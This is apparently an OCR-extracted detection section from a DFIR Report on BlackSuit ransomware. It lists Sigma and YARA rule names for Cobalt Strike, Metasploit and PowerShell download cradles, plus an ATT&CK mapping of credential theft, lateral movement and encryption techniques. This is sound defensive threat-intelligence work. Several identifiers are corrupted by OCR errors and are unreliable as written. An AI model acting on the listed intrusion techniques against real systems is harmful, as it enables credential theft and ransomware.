61a7697c-cb79-42a8-a2ff-5f0cdfae@130 : Potential CobaltStrike Service Installations - Registry
1d61f71d-59d2-479e-9562-4ff5f4ead16b : Suspicious Service Installation
4aafb@fa-bff5-4b9d-b99e-8093e659c65f : Writing Local Admin Share
ca2092a1-c273-4878-9b4b-0d60115bf5ea : Suspicious Encoded PowerShell Command Line
0ef56343-059e-4cbb-adc1-4c3c967c5e46 : Suspicious Execution of Systeminfo
bbb7e38c-0b41-4a11-b306-d2a457b7ac2b : Suspicious File Created In Perflogs
3dfd@6d2-eaf4-4532-9555-68acab9f57c4 : Process Execution From A Potentially Suspicious Folder
0d5675be-bc88-4172-86d3-1e96a4476536 : Potential Tampering With RDP Related Registry Keys Via Reg.EX

Yara

File Scan Results:

DFIR Report:
https://github.com/The-DFIR-Report/Yara-Rules/compare/26364

https://github.com/search?q=repo%3AThe-DFIR-Report%2F Yara-Rules+get-data&type=code

https://github.com/search?q=repo%3AThe-DFIR-Report%2F Yara-Rules%20netscan&type=code

YARA Forge:

DITEKSHEN_MALWARE _Win_EXEPWSH_Dlagent
ELASTIC_Windows_Trojan_Cobaltstrike_1787Eef5
ELASTIC_Windows_Trojan_Cobaltstrike_7F8Da98A
EMBEERESEARCH_Win_Cobaltstrike_Pipe_Strings_Nov_2023
GCTI_Cobaltstrike_Resources_Artifact64_V3_14_To_V4_X

Memory Scan Results:

HKTL_CobaltStrike_SleepMask_Jul22

CobaltStrike_Sleep_Decoder_Indicator
Windows_Trojan_CobaltStrike_b54b94ac
HKTL_CobaltStrike_Beacon_4_2_Decrypt
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https://github.com/search?q=repo%3AThe-DFIR-Report%2FYara-Rules+get-data&type=code
https://github.com/search?q=repo%3AThe-DFIR-Report%2FYara-Rules%20netscan&type=code
https://yarahq.github.io/

https://thedfirreport.com /2024 /08 /26 /blacksuit-ransomware/

Windows_Trojan_CobaltStrike_663fc95d
Windows_Trojan_CobaltStrike_3dc22d14
HKTL_CobaltStrike_Beacon_Strings

HKTL _Win_CobaltStrike

SUSP_PS1_JAB_Pattern_Jun22_1

WiltedTulip_WindowsTask
CobaltStrike_Resources_Command_Ps1_v2_5_to_v3_7_and_Resources_Compress_Ps1_v3_8_to_v4_x
Cobaltbaltstrike_Payload_Encoded

Msfpayloads_msf_ref
CobaltStrike_Resources_Template_x64_Ps1_v3_0_to_v4_x_excluding_3_12_3_13
Windows_Shellcode_Generic_8c487e57
Cobaltbaltstrike_RAW_Payload_smb_stager_x86
Windows_Trojan_Metasploit_38b8ceec
CobaltStrike_Resources_Smbstager_Bin_v2_5_through_v4_x
Windows_Trojan_CobaltStrike_f@b627fc

CobaltStrike _Sleeve BeaconlLoader HA x64 o v4 3 v4 4 v4 5 and v4 6
CobaltStrike_C2_Encoded_XOR_Config_Indicator

SUSP_XORed_Mozilla

SUSP_PowerShell_IEX Download_Combo
CobaltStrike_Sleeve Beacon D11_v4_3 v4 4 v4 5 and_v4_6
Windows_Trojan_Metasploit_7bc@f998
Windows_Trojan_Metasploit_c9773203

Rule authors:
yara@s3c.za.net
Elastic Security,
gssincla@google.com

threatintel @volexity.com

Florian Roth (Nextron Systems)

Avast Threat Intel Team

MITRE ATT&CK
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https://github.com/Neo23x0/signature-base/blob/master/yara/apt_cobaltstrike_evasive.yar
https://github.com/elastic/protections-artifacts/tree/main/yara
https://github.com/chronicle/GCTI/tree/main
https://github.com/volexity/threat-intel/tree/main
https://github.com/Neo23x0/signature-base
https://github.com/avast/ioc/blob/master/CobaltStrike/yara_rules/cs_rules.yar

https://thedfirreport.com /2024 /08 /26 /blacksuit-ransomware/

23634 - BlackSuit Ransomware

Method

PowerShell - T1059.001

Windows Command Shell - T1059.003
Malicious File - T1204.002

Service Execution - T156%9.002

Registry Run Keys / Startup Folder - T1547.001

Abuse Elevation Control Mechanism - T1548

Modify Registry - TI112
Process Injection - TIO55

Tools
Initial Access
Execution

Persistence SystemBC

Privilege Escalation Cobalt Strike
Defense Evasion
. Rubeus

Credential Access Cobalt Strike

AS-REP Roasting - T1558.004
Kerberoasting - T1558.003
LSASS Memory - T1003.001

Cobalt Strike
nltest
systeminfo

net

Discovery route

ping

Adfind.exe
Sharphound.exe
Get-Datalnfo.psl

Domain Groups - T1069.002

Domain Trust Discovery - T1482
Remote System Discovery - T1018
Security Software Discovery - T1518.001
Software Discovery - T1518

System Information Discovery - T1082

Lateral Movement

SMB/Windows Admin Shares - T1021.002
Remote Desktop Protocol - T1021.001
Pass the Hash - T1550.002

Collection 7-Zip

Archive Collected Data - T1560

Cobalt Strike

Command and Control SystemBC

Proxy - TI090
Web Protocols - T1071.001

Exfiltration

BlackSuit

Impact

Data Encrypted for Impact - T1486
Inhibit System Recovery - T1490

Abuse Elevation Control Mechanism - T1548
Archive Collected Data - T1560
AS-REP Roasting - T1558.004
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https://thedfirreport.com/wp-content/uploads/2024/08/26364_091-1.png
https://thedfirreport.com/wp-content/uploads/2024/08/26364_091-1.png

https://thedfirreport.com /2024 /08 /26 /blacksuit-ransomware/

Data Encrypted for Impact - T1486
Domain Groups - T1069.002

Domain Trust Discovery - T1482
Inhibit System Recovery - T1490
Kerberoasting - T1558.003

LSASS Memory - T1003.001

Malicious File - T1204.002

Modify Registry - T1112

PowerShell - T1059.001

Process Injection - T1055

Proxy - T1090

Registry Run Keys / Startup Folder - T1547.001
Remote Desktop Protocol - T1021.001
Remote System Discovery - T1018
Security Software Discovery - T1518.001
Service Execution - T1569.002
SMB/Windows Admin Shares - T71021.002
Software Discovery - T1518

System Information Discovery - T1082
Web Protocols - T1071.001

Windows Command Shell - T1059.003
Pass the Hash - T1550.002

Internal case #TB29364 #PR31354

Source: https://thedfirreport.com/2024/08/26/blacksuit-ransomware/
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